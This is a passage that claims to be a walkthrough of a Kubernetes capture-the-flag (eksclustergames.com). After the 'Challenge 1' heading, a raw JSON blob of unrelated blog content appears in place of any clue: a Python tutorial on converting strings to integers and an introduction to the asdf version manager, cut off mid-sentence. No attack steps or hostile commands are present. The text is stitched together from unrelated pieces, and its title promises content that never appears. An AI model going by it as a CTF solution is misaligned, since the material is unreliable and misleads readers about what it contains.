• eksclustergames.com walk through!


    eksclustergames.com is a new CTF targetted at kubernetes vulnerabilities. This is a walk through on how to solve the issues.

    Challenge 1

    The first challenge starts off with a clue:

    {"props":{"pageProps":{"id":["Security"],"allTagData":{"Python":{"count":7,"posts":[{"id":["old","convert_a_string_to_an_integer_in_python"],"path":"old/convert_a_string_to_an_integer_in_python","contentHtml":"\u003cp\u003eA fun interview question some developers like to ask is to have you\nconvert ascii characters to an integer without using built in methods\nlike string.atoi or int().\u003c/p\u003e\n\u003cp\u003eSo using python the obvious ways to convert a string to an integer are\nthese:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e string.atoi(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe interesting thing here is finding out where on the ascii character\ntable the number is. Luckily python has this already built in with the\nord method:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ehelp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e...\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(c) \u003c/span\u003e\u003cspan style=\"color: #FF938A; font-style: italic\"\u003e-\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e integer\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    Return the integer ordinal of a one\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003echaracter string.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e49\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'2'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e50\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can see that the numbers are grouped together on the ascii table, so\nyou just have to grab '0' as the base and subtract the rest:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo if we have the string '1234', we can get each of the individual\nnumbers by looping over it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e num_string \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1234'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e num_list \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e []\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e base \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e num \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e num_string:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e...\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   num_list.append(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(num) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e base)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e num_list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ebut now how to we combine all these together to get 1234? You can't\njust add them up because you'll just get 1+2+3+4 = 10.\u003c/p\u003e\n\u003cp\u003eSo, we have to get 1000 + 200 + 30 + 4, which is a simple problem to\nsolve. Its just number times 10 to the nth power, so the final solution\nis:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003enum \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1234'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003enew_num \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003ebase \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e i,n \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eenumerate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ereversed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(num)):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      new_num \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(n) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e base) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ei)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e new_num\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis code is a little verbose though, lets make it a dirty nasty one\nliner!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003esum\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e([(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(n)\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e i) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e i,n \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eenumerate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ereversed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e))])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","category":"Development","date":"2010-10-27T19:00:00-05:00","tags":["Python","Interviews"],"title":"Convert a string to an integer in Python"},{"id":["2022","intro_to_asdf"],"path":"2022/intro_to_asdf","contentHtml":"\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is a general purpose version manager that\ncan manage versions of most programming language runtimes through a set\nof plugins.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/RTaqWRj-6Lg\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003cp\u003eWith micro-services being all the rage and the ever changing landscape\nof the development world, it is rare to utilize a single version of\nlanguage runtime. Even when you want to upgrade from one to the other\nyou'll need both usable on your system at the same time.\u003c/p\u003e\n\u003cp\u003eI've used tools like \u003ccode\u003epyenv\u003c/code\u003e and \u003ccode\u003envm\u003c/code\u003e in the past when I needed to change\nversions depending on which project I'm contributing to. But with \u003ccode\u003easdf\u003c/code\u003e\nyou have one tool to rule them all!\u003c/p\u003e\n\u003ch2\u003eGetting Started\u003c/h2\u003e\n\u003cp\u003eThe first thing you need to do when working with \u003ccode\u003easdf\u003c/code\u003e is grab the\nplugins for the languages you are interested in working with. You can list\nwhat plugins are available:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin list all\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/kennyp/asdf-golang.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolangci-lint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/hypnoglow/asdf-golangci-lint.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/asdf-community/asdf-poetry.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/twuni/asdf-yarn.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOn the left will be the name of the plugin and on the right will be the repository\nwhere it lives.  It'll me marked with an asterisk if you already have it installed.\u003c/p\u003e\n\u003cp\u003eTo install a plugin you say \u003ccode\u003easdf plugin add \u0026#x3C;plugin\u003e\u003c/code\u003e to get it installed.  You can\nalso provide the repository where you want it pulled from, for example:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin add python https://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will not give you any version of those languages, it is only installing the\nplugin that knows how to work with those languages.   You are ready to pull down\nany versions you want at that point:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf install nodejs 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf install python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce you have the versions installed you will be able to view them like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e--help\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e16.14.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e17.5.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.1.13\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e3.9.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.22.17\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eUsing the installed languages\u003c/h2\u003e\n\u003cp\u003eTo activate a specific version of a language you have you have three options:\u003c/p\u003e\n\u003ch3\u003eMake it global\u003c/h3\u003e\n\u003cp\u003eYou can make it global, meaning when you run the tool like \u003ccode\u003epython\u003c/code\u003e it'll use\nthis version for the system:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf global python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch3\u003eMake it local\u003c/h3\u003e\n\u003cp\u003eYou can make it local, which means it will generate a file in the current\ndirectory named \u003ccode\u003e.tool-versions\u003c/code\u003e and so whenever you change into a directory\nit will activate the versions defined in there.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf local nodejs 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e cat .tool-versions \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e12.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe great thing about this is you can commit that file to git and then anyone\nwho checks out the project and uses \u003ccode\u003easdf\u003c/code\u003e will have the same versions 